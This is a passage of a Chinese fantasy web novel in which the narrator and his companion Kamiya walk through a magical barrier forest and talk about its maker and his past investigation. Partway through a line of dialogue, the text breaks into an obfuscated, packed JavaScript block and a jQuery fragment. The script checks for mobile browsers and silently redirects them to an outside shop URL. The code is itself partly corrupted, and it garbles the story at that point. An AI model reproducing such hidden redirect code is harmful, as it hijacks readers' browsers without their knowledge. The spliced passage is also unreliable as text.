我的好奇心對於神穀來說,無疑是更加刻骨銘心的自我解剖,無論如何,我都覺得於心不忍。於是我岔開了話題,指著那兩隻飛在我們前麵的鳥兒:
“它們要把我們帶到哪裡去?”
“不知道。如果這個結界真的是心象投射的話,那它的製造者同樣也會出現在結界裡,說不定它們正要領我們去見這裡的主人。”
正說著,神穀似乎想到了什麼,突然停了下來,倒吸一口氣:
“嘶……莫非這個結界是用來關押那名囚犯的?怪不得那隻青鳥會直接在軍官的辦公室裡等著我們。”
我心裡開始緊張起來:
“如果是這樣的話,想要從這裡救出被關押的魔法師,那我們豈不是還要打敗這個結界的製造者?”
“恐怕就是這樣……那剛才遇到的霧妖和狼群也就說得通了,那些怪物可能還隻是小兒科而已,我們最後還得要麵對更加強大的敵人,看來得提前規劃一下戰術。”
她突然之間變得有些煩躁,我也麵露難色:
“那恐怕我又要拖你的後腿了……真的沒有問題麼?”
神穀看了我一眼,咂了一下舌之後逼了過來:
“我從來沒有覺得你在拖我的後腿……而且秋洋,聽好了,你可是我的助手,一個與我距離如此之近的人
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12783091|131349||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
竟然妄自菲薄,我可不能接受。”
威壓感又從她的身上傳來,我不由自主地後退幾步,但她依舊不依不饒,用尖銳的目光審視著我。看著她如炬的眼神,我突然感到了一陣安心——不管什麼時候,神穀都是這樣落拓果敢,而又充滿著決心。她皺起的眉頭之間並無慍怒,甚至我從她的藍色眼瞳裡讀出了一絲鼓勵,我方才明白過來,這才是神穀特有的對他人表達認可的方式。
“這位小姐有的時候還真是不那麼坦率……”
我心裡這樣想道。好在她並不是一個喜歡說教的人,隻是看了我一眼,話不多說,便繼續跟著青鳥的指引向前走。身邊的威壓終於消失,我鬆了一口氣,拍了拍大衣沾上的塵土,跟上她的腳步。
衝突平息之後的樹林,寧靜而又明朗,耳旁隻剩下草木枝葉隨風搖曳的輕言細語,以及兩人腳步踩在土地上發出的窸窣聲響。風再次溫柔地吹拂著我們,讓我原本因為劇烈奔跑而緊繃的神經得到了些許喘息,越發感歎起這片刻寧靜的美好——畢竟在經曆過驚濤駭浪之後,才能體會到眼前風平浪靜的難能可貴。然而一想到這樣的安柔祥和,不知何時又會被霧妖的突然襲擊打破,我好不容易才放鬆下來的精神便又警覺起來。
林中的車轍小道彎彎折折,看上去曲徑通幽,景致卻是千篇一律:透過層層枝葉,我隻能看到灰色的天空,麵前的樹木花草仿佛被凝重感刷上了一層冷色調。雖然溫度並不算太低,但周遭萬物散發的冷清氣息,依舊讓我不由自主地打了個寒戰。
我們在心照不宣的沉默中走了許久,那種熟悉而又似有若無的疏離感又出現在我和神穀之間。我長歎一聲,這種感覺就像是兩人即將推心置腹之時,又像是害怕被刺痛一樣,各自縮回一個刺球。
終於在某一刻,神穀也察覺到了氣氛的詭異,她轉過頭來看著我:
“說起來,秋洋……”
“嗯?”
我心不在焉地應了一聲,慢慢地把心緒從胡思亂想當中拉扯出來。
“既然你都問了那麼多關於我從前的事情,那是不是該輪到我問一問感興趣的事情了?”
“嗯。”
我又是一陣敷衍,權當是同意了她的說辭。
“我記得你曾說過,宿英城的以太波動異常在當年的十二月就基本消失,之後馬上爆發了科羅納瘟疫,你們的調查因此嚴重推遲。而依娜絲之前又說,諭佳在港口倉庫裡發現的那批從宿英城運來的貨物,是在第二年一月運抵貝魯特,這在時間上的確說得通,但是……”
神穀一邊從回憶中尋找著蛛絲馬跡,一邊整理著其中的某些關聯。我低頭看著地麵,踢著那些細小的石子,時不時點點頭。
“但是你們的禁足令直到夏天才得以解除,你們要找的東西早就已經離開了宿英城。所以在那之後,你口中所謂的調查,又演變成了什麼呢?”
她的話語仿佛一拳重擊,打在了我的胸口,讓我有些猝不及防。在愣了好一會兒之後,我陷入了沉思——的確,在重新開始調查之後,我們收到的指令已經遠遠脫離了調查的範疇.而我和弦千渡也在無形之中,成為了一把遊刃有餘的尖刀,在各方傾軋之下的縫隙當中遊走,卻在不知不覺中逐漸沾上難以祛除的血跡。
我緩緩閉上眼睛,在記憶中重新拾起那段不願回想的過往。